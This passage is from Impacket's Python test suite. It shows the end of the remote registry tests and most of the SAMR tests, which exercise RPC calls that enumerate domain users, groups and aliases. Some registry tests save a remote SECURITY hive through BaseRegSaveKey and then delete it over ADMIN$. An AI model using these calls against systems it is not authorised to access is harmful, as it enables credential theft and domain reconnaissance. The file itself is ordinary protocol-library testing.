      \n        item2 = rrp.RVALENT()\n        item2['ve_valuename'] = 'SystemRoot\\x00'\n        item2['ve_valuelen'] = len('SystemRoot\\x00')\n        item1['ve_valueptr'] = NULL\n        item2['ve_type'] = rrp.REG_SZ\n\n        item3 = rrp.RVALENT()\n        item3['ve_valuename'] = 'EditionID\\x00'\n        item3['ve_valuelen'] = len('EditionID\\x00')\n        item3['ve_valueptr'] = NULL\n        item3['ve_type'] = rrp.REG_SZ\n\n        request['hKey'] = resp['phkResult']\n        request['val_listIn'].append(item1)\n        request['val_listIn'].append(item2)\n        request['val_listIn'].append(item3)\n        request['num_vals'] = len(request['val_listIn'])\n        request['lpvalueBuf'] = list(b' '*128)\n        request['ldwTotsize'] = 128\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_BaseRegDeleteKeyEx(self):\n        dce, rpctransport = self.connect()\n        request = rrp.OpenClassesRoot()\n        request['ServerName'] = NULL\n        request['samDesired'] = MAXIMUM_ALLOWED \n        resp = dce.request(request)\n        resp.dump()\n        regHandle = resp['phKey']\n\n        request = rrp.BaseRegCreateKey()\n        request['hKey'] = regHandle\n        request['lpSubKey'] = self.test_key\n        request['lpClass'] = NULL\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED\n        request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL\n        request['lpdwDisposition'] = rrp.REG_CREATED_NEW_KEY\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegDeleteKeyEx()\n        request['hKey'] = regHandle\n        request['lpSubKey'] = self.test_key\n        request['AccessMask'] = rrp.KEY_WOW64_32KEY\n        request['Reserved'] = 0\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_BaseRegLoadKey_BaseRegUnLoadKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        request = rrp.BaseRegOpenKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'SECURITY\\x00'\n        request['dwOptions'] = 0x00000001\n        request['samDesired'] = MAXIMUM_ALLOWED \n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegSaveKey()\n        request['hKey'] = resp['phkResult']\n        request['lpFile'] = 'SEC\\x00'\n        request['pSecurityAttributes'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegLoadKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'BETUS\\x00'\n        request['lpFile'] = 'SEC\\x00'\n        resp = dce.request(request)\n        resp.dump()\n\n        request = rrp.BaseRegUnLoadKey()\n        request['hKey'] = phKey\n        request['lpSubKey'] = 'BETUS\\x00'\n        resp = dce.request(request)\n        resp.dump()\n\n        smb = rpctransport.get_smb_connection()\n        smb.deleteFile('ADMIN$', 'System32\\\\SEC')\n\n    def test_hBaseRegLoadKey_hBaseRegUnLoadKey(self):\n        dce, rpctransport = self.connect()\n        phKey = self.open_local_machine(dce)\n\n        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SECURITY\\x00')\n        resp.dump()\n\n        request = rrp.BaseRegSaveKey()\n        request['hKey'] = resp['phkResult']\n        request['lpFile'] = 'SEC\\x00'\n        request['pSecurityAttributes'] = NULL\n        resp = dce.request(request)\n        resp.dump()\n\n        resp = rrp.hBaseRegLoadKey(dce, phKey, 'BETUS\\x00', 'SEC\\x00')\n        resp.dump()\n\n        resp = rrp.hBaseRegUnLoadKey(dce, phKey, 'BETUS\\x00')\n        resp.dump()\n\n        smb = rpctransport.get_smb_connection()\n        smb.deleteFile('ADMIN$', 'System32\\\\SEC')\n\n\n@pytest.mark.remote\nclass RRPTestsSMBTransport(RRPTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass RRPTestsSMBTransport64(RRPTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_samr.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)SamrCloseHandle\n#   (h)SamrConnect5\n#   (h)SamrConnect4\n#   (h)SamrConnect2\n#   (h)SamrConnect\n#   (h)SamrOpenDomain\n#   (h)SamrOpenGroup\n#   (h)SamrOpenAlias\n#   (h)SamrOpenUser\n#   (h)SamrEnumerateDomainsInSamServer\n#   (h)SamrLookupNamesInDomain\n#   (h)SamrLookupIdsInDomain\n#   (h)SamrEnumerateGroupsInDomain\n#   (h)SamrEnumerateAliasesInDomain\n#   (h)SamrEnumerateUsersInDomain\n#   (h)SamrGetGroupsForUser\n#   (h)SamrQueryDisplayInformation3\n#   (h)SamrQueryDisplayInformation2\n#   (h)SamrQueryDisplayInformation\n#   (h)SamrGetDisplayEnumerationIndex2\n#   (h)SamrGetDisplayEnumerationIndex\n#   (h)SamrCreateGroupInDomain\n#   (h)SamrDeleteGroup\n#   (h)SamrCreateAliasInDomain\n#   (h)SamrDeleteAlias\n#   (h)SamrCreateUser2InDomain\n#   (h)SamrDeleteUser\n#   (h)SamrQueryInformationDomain2\n#   hSamrQueryInformationDomain\n#   hSamrSetInformationDomain\n#   (h)SamrQueryInformationGroup\n#   (h)SamrSetInformationGroup\n#   hSamrQueryInformationAlias\n#   hSamrSetInformationAlias\n#   SamrQueryInformationAlias\n#   SamrSetInformationAlias\n#   (h)SamrQueryInformationUser2\n#   (h)SamrSetInformationUser2\n#   SamrQueryInformationUser\n#   SamrSetInformationUser\n#   (h)SamrAddMemberToGroup\n#   (h)SamrRemoveMemberFromGroup\n#   (h)SamrGetMembersInGroup\n#   (h)SamrGetMembersInAlias\n#   (h)SamrAddMemberToAlias\n#   (h)SamrRemoveMemberFromAlias\n#   (h)SamrAddMultipleMembersToAlias\n#   (h)SamrRemoveMultipleMembersFromAliass\n#   (h)SamrRemoveMemberFromForeignDomain\n#   (h)SamrGetAliasMembership\n#   (h)SamrSetMemberAttributesOfGroup\n#   (h)SamrGetUserDomainPasswordInformation\n#   (h)SamrGetDomainPasswordInformation\n#   (h)SamrRidToSid\n#   SamrSetDSRMPassword\n#   (h)SamrValidatePassword\n#   (h)SamrQuerySecurityObject\n#   (h)SamrSetSecurityObject\n#   (h)SamrChangePasswordUser\n#   SamrOemChangePasswordUser2\n#   (h)SamrUnicodeChangePasswordUser2\n#   (h)SamrLookupDomainInSamServer\n# Not yet\n#   SamrCreateUserInDomain\n#\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nimport string\nimport random\nfrom six import b\nfrom six import assertRaisesRegex\n\nfrom impacket import crypto\nfrom impacket.dcerpc.v5 import samr\nfrom impacket.dcerpc.v5 import dtypes\nfrom impacket import nt_errors, ntlm\nfrom impacket.dcerpc.v5.ndr import NULL\n\n\nclass SAMRTests(DCERPCTests):\n    iface_uuid = samr.MSRPC_UUID_SAMR\n    authn = True\n    authn_level = ntlm.NTLM_AUTH_PKT_PRIVACY\n\n    server_name_string = \"BETO\\x00\"\n    full_name_string = \"BETO\"\n    test_string = \"BETUS\"\n    test_account = \"testAccount\"\n    test_group = \"testGroup\"\n\n    def get_domain_handle(self, dce):\n        request = samr.SamrConnect()\n        request['ServerName'] = self.server_name_string\n        request['DesiredAccess'] = samr.DELETE | samr.READ_CONTROL | samr.WRITE_DAC | samr.WRITE_OWNER | samr.ACCESS_SYSTEM_SECURITY | samr.GENERIC_READ | samr.GENERIC_WRITE | samr.GENERIC_EXECUTE | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_SHUTDOWN | samr.SAM_SERVER_INITIALIZE | samr.SAM_SERVER_CREATE_DOMAIN | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN | samr.SAM_SERVER_READ | samr.SAM_SERVER_WRITE | samr.SAM_SERVER_EXECUTE\n        resp = dce.request(request)\n        request = samr.SamrEnumerateDomainsInSamServer()\n        request['ServerHandle'] = resp['ServerHandle']\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 500\n        resp2 = dce.request(request)\n        request = samr.SamrLookupDomainInSamServer()\n        request['ServerHandle'] = resp['ServerHandle']\n        request['Name'] = resp2['Buffer']['Buffer'][0]['Name']\n        resp3 = dce.request(request)\n        request = samr.SamrOpenDomain()\n        request['ServerHandle'] = resp['ServerHandle']\n        request['DesiredAccess'] = samr.DOMAIN_READ_PASSWORD_PARAMETERS | samr.DOMAIN_READ_OTHER_PARAMETERS | samr.DOMAIN_CREATE_USER | samr.DOMAIN_CREATE_ALIAS | samr.DOMAIN_LOOKUP | samr.DOMAIN_LIST_ACCOUNTS | samr.DOMAIN_ADMINISTER_SERVER | samr.DELETE | samr.READ_CONTROL | samr.ACCESS_SYSTEM_SECURITY | samr.DOMAIN_WRITE_OTHER_PARAMETERS | samr.DOMAIN_WRITE_PASSWORD_PARAMS\n        request['DomainId'] = resp3['DomainId']\n        resp4 = dce.request(request)\n        return resp4['DomainHandle']\n\n    def test_SamrCloseHandle(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrCloseHandle()\n        request['SamHandle'] = domainHandle\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrCloseHandle(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrCloseHandle(dce, domainHandle)\n        resp.dump()\n\n    def test_SamrConnect5(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrConnect5()\n        request['ServerName'] = self.server_name_string\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['InVersion'] = 1\n        request['InRevisionInfo']['tag'] = 1\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrConnect5(self):\n        dce, rpc_transport = self.connect()\n        resp = samr.hSamrConnect5(dce)\n        resp.dump()\n\n    def test_SamrConnect4(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrConnect4()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['ServerName'] = self.server_name_string\n        request['ClientRevision'] = 2\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrConnect4(self):\n        dce, rpc_transport = self.connect()\n        resp = samr.hSamrConnect4(dce)\n        resp.dump()\n\n    def test_SamrConnect2(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrConnect2()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['ServerName'] = self.server_name_string\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrConnect2(self):\n        dce, rpc_transport = self.connect()\n        resp = samr.hSamrConnect2(dce)\n        resp.dump()\n\n    def test_SamrConnect(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrConnect()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrConnect(self):\n        dce, rpc_transport = self.connect()\n        resp = samr.hSamrConnect(dce)\n        resp.dump()\n\n    def test_SamrOpenDomain(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrConnect()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['ServerName'] = self.server_name_string\n        resp = dce.request(request)\n        request = samr.SamrOpenDomain()\n        SID = 'S-1-5-352321536-2562177771-1589929855-2033349547'\n        request['ServerHandle'] = resp['ServerHandle']\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['DomainId'].fromCanonical(SID)\n\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_NO_SUCH_DOMAIN\"):\n            dce.request(request)\n        \n    def test_hSamrOpenDomain(self):\n        dce, rpc_transport = self.connect()\n        resp = samr.hSamrConnect(dce)\n\n        SID = 'S-1-5-352321536-2562177771-1589929855-2033349547'\n        sid = dtypes.RPC_SID()\n        sid.fromCanonical(SID)\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_NO_SUCH_DOMAIN\"):\n            samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'], domainId=sid)\n\n    def test_SamrOpenGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrConnect()\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['ServerName'] = self.server_name_string\n        dce.request(request)\n        request = samr.SamrOpenGroup()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n        \n    def test_hSamrOpenGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        try:\n            resp = samr.hSamrOpenGroup(dce, domainHandle, groupId=samr.DOMAIN_GROUP_RID_USERS)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n\n    def test_SamrOpenAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenAlias()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['AliasId'] = 25\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_NO_SUCH_ALIAS\"):\n            dce.request(request)\n\n    def test_hSamrOpenAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_NO_SUCH_ALIAS\"):\n            samr.hSamrOpenAlias(dce, domainHandle, aliasId=25)\n\n    def test_SamrOpenUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenUser()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT\n        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrOpenUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrOpenUser(dce, domainHandle,\n                                  samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT,\n                                  samr.DOMAIN_USER_RID_ADMIN)\n        resp.dump()\n\n    def test_SamrEnumerateDomainsInSamServer(self):\n        dce, rpc_transport = self.connect()\n        request = samr.SamrConnect()\n        request['ServerName'] = self.server_name_string\n        request['DesiredAccess'] = samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN\n        resp = dce.request(request)\n        request = samr.SamrEnumerateDomainsInSamServer()\n        request['ServerHandle'] = resp['ServerHandle']\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 500\n        resp2 = dce.request(request)\n        resp2.dump()\n        request = samr.SamrLookupDomainInSamServer()\n        request['ServerHandle'] = resp['ServerHandle']\n        request['Name'] = resp2['Buffer']['Buffer'][0]['Name']\n        resp3 = dce.request(request)\n        resp3.dump()\n        request = samr.SamrOpenDomain()\n        request['ServerHandle'] = resp['ServerHandle']\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['DomainId'] = resp3['DomainId']\n        resp4 = dce.request(request)\n        resp4.dump()\n\n    def test_hSamrEnumerateDomainsInSamServer(self):\n        dce, rpc_transport = self.connect()\n        resp = samr.hSamrConnect(dce, desiredAccess=samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)\n        resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, resp['ServerHandle'])\n        resp2.dump()\n        resp3 = samr.hSamrLookupDomainInSamServer(dce, resp['ServerHandle'], resp2['Buffer']['Buffer'][0]['Name'])\n        resp3.dump()\n        request = samr.SamrOpenDomain()\n        request['ServerHandle'] = resp['ServerHandle']\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['DomainId'] = resp3['DomainId']\n        resp4 = dce.request(request)\n        resp4.dump()\n\n    def test_SamrLookupNamesInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrLookupNamesInDomain()\n        request['DomainHandle'] = domainHandle\n        request['Count'] = 1\n        entry = dtypes.RPC_UNICODE_STRING()\n        entry['Data'] = 'Administrator'\n        #entry.fields['MaximumLength'] = len('Administrator\\x00')*2\n        #entry.fields['Data'].fields['Data'].fields['MaximumCount'] = len('Administrator\\x00')\n        request['Names'].append(entry)\n        request.fields['Names'].fields['MaximumCount'] = 1000\n        resp5 = dce.request(request)\n        resp5.dump()\n\n    def test_hSamrLookupNamesInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        try:\n            resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, ('Administrator', 'Guest'))\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') >= 0:\n                pass\n\n    def test_SamrLookupIdsInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrLookupIdsInDomain()\n        request.dump()\n        request['DomainHandle'] = domainHandle\n        request['Count'] = 2\n        entry = dtypes.ULONG()\n        entry['Data'] = 500\n        request['RelativeIds'].append(entry)\n        entry = dtypes.ULONG()\n        entry['Data'] = 501\n        request['RelativeIds'].append(entry)\n        request.fields['RelativeIds'].fields['MaximumCount'] = 1000\n        resp5 = dce.request(request)\n        resp5.dump()\n\n    def test_hSamrLookupIdsInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrLookupIdsInDomain(dce, domainHandle, (500, 501))\n        resp.dump()\n\n    def test_SamrEnumerateGroupsInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrEnumerateGroupsInDomain()\n        request['DomainHandle'] = domainHandle\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 500\n        status = nt_errors.STATUS_MORE_ENTRIES\n        while status == nt_errors.STATUS_MORE_ENTRIES:\n            try:\n                resp4 = dce.request(request)\n            except samr.DCERPCSessionError as e:\n                if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                    raise \n                resp4 = e.get_packet()\n            resp4['Buffer'].dump()\n            request['EnumerationContext'] = resp4['EnumerationContext'] \n            status = resp4['ErrorCode']\n\n    def test_hSamrEnumerateGroupsInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrEnumerateGroupsInDomain(dce, domainHandle)\n        resp.dump()\n\n    def test_SamrEnumerateAliasesInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrEnumerateAliasesInDomain()\n        request['DomainHandle'] = domainHandle\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 500\n        status = nt_errors.STATUS_MORE_ENTRIES\n        while status == nt_errors.STATUS_MORE_ENTRIES:\n            try:\n                resp4 = dce.request(request)\n            except samr.DCERPCSessionError as e:\n                if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                    raise \n                resp4 = e.get_packet()\n            resp4['Buffer'].dump()\n            request['EnumerationContext'] = resp4['EnumerationContext'] \n            status = resp4['ErrorCode']\n\n    def test_hSamrEnumerateAliasesInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)\n        resp.dump()\n\n    def test_SamrEnumerateUsersInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrEnumerateUsersInDomain()\n        request['DomainHandle'] = domainHandle\n        request['UserAccountControl'] = samr.USER_NORMAL_ACCOUNT\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 8192\n        status = nt_errors.STATUS_MORE_ENTRIES\n        while status == nt_errors.STATUS_MORE_ENTRIES:\n            try:\n                resp4 = dce.request(request)\n            except samr.DCERPCSessionError as e:\n                if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                    raise \n                resp4 = e.get_packet()\n            resp4['Buffer'].dump()\n            request['EnumerationContext'] = resp4['EnumerationContext'] \n            status = resp4['ErrorCode']\n\n    def test_hSamrEnumerateUsersInDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        try:\n            resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') >=0:\n                pass\n            e.get_packet().dump()\n\n    def test_SamrGetGroupsForUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenUser()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS\n        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN\n        resp = dce.request(request)\n        resp.dump()\n        request = samr.SamrGetGroupsForUser()\n        request['UserHandle'] = resp['UserHandle'] \n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrGetGroupsForUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenUser()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] =  samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS\n        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN\n        resp = dce.request(request)\n        resp.dump()\n        resp = samr.hSamrGetGroupsForUser(dce, resp['UserHandle'])\n        resp.dump()\n\n    def test_SamrQueryDisplayInformation3(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrQueryDisplayInformation3()\n        request['DomainHandle'] = domainHandle\n        request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser\n        request['Index'] = 0\n        request['EntryCount'] = 100\n        request['PreferredMaximumLength'] = 8192\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') >=0:\n                e.get_packet().dump()\n            else:\n                raise\n\n        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:\n            request = samr.SamrQueryDisplayInformation3()\n            request['DomainHandle'] = domainHandle\n            request['DisplayInformationClass'] = display_info_class\n            request['Index'] = 0\n            request['EntryCount'] = 100\n            request['PreferredMaximumLength'] = 8192\n            resp = dce.request(request)\n            resp.dump()\n\n    def test_hSamrQueryDisplayInformation3(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        try:\n            resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle,  samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') >=0:\n                e.get_packet().dump()\n            else:\n                raise\n\n        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:\n            resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, display_info_class)\n            resp.dump()\n\n    def test_SamrQueryDisplayInformation2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        try:\n            resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle,  samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') >= 0:\n                e.get_packet().dump()\n            else:\n                raise\n\n        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:\n            resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, display_info_class)\n            resp.dump()\n\n    def test_SamrQueryDisplayInformation(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrQueryDisplayInformation()\n        request['DomainHandle'] = domainHandle\n        request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser\n        request['Index'] = 0\n        request['EntryCount'] = 100\n        request['PreferredMaximumLength'] = 8192\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') >= 0:\n                e.get_packet().dump()\n            else:\n                raise\n\n        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:\n            request = samr.SamrQueryDisplayInformation()\n            request['DomainHandle'] = domainHandle\n            request['DisplayInformationClass'] = display_info_class\n            request['Index'] = 0\n            request['EntryCount'] = 100\n            request['PreferredMaximumLength'] = 8192\n            resp = dce.request(request)\n            resp.dump()\n\n    def test_hSamrQueryDisplayInformation(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        try:\n            resp = samr.hSamrQueryDisplayInformation(dce, domainHandle,  samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') >= 0:\n                e.get_packet().dump()\n            else:\n                raise\n\n        for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup,\n                                   samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]:\n            resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, display_info_class)\n            resp.dump()\n\n    def test_SamrGetDisplayEnumerationIndex2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        for display_info_class, prefix in [(samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu'),\n                                           (samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, 'Non')]:\n            request = samr.SamrGetDisplayEnumerationIndex2()\n            request['DomainHandle'] = domainHandle\n            request['DisplayInformationClass'] = display_info_class\n            request['Prefix'] = prefix\n            resp = dce.request(request)\n            resp.dump()\n\n    def test_hSamrGetDisplayEnumerationIndex2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        for display_info_class, prefix in [(samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu'),\n                                           (samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, 'Non')]:\n            resp = samr.hSamrGetDisplayEnumerationIndex2(dce, domainHandle, display_info_class, prefix)\n            resp.dump()\n\n    def test_SamrGetDisplayEnumerationIndex(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrGetDisplayEnumerationIndex(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu')\n        resp.dump()\n\n    def test_hSamrGetDisplayEnumerationIndex(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrGetDisplayEnumerationIndex()\n        request['DomainHandle'] = domainHandle\n        request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser\n        request['Prefix'] = 'Gu'\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_SamrCreateGroupInDomain_SamrDeleteGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrCreateGroupInDomain()\n        request['DomainHandle'] = domainHandle\n        request['Name'] = self.test_group\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_ACCESS_DENIED\"):\n            dce.request(request)\n\n        request = samr.SamrDeleteGroup()\n        request['GroupHandle'] = domainHandle\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_OBJECT_TYPE_MISMATCH\"):\n            dce.request(request)\n\n    def test_hSamrCreateGroupInDomain_hSamrDeleteGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_ACCESS_DENIED\"):\n            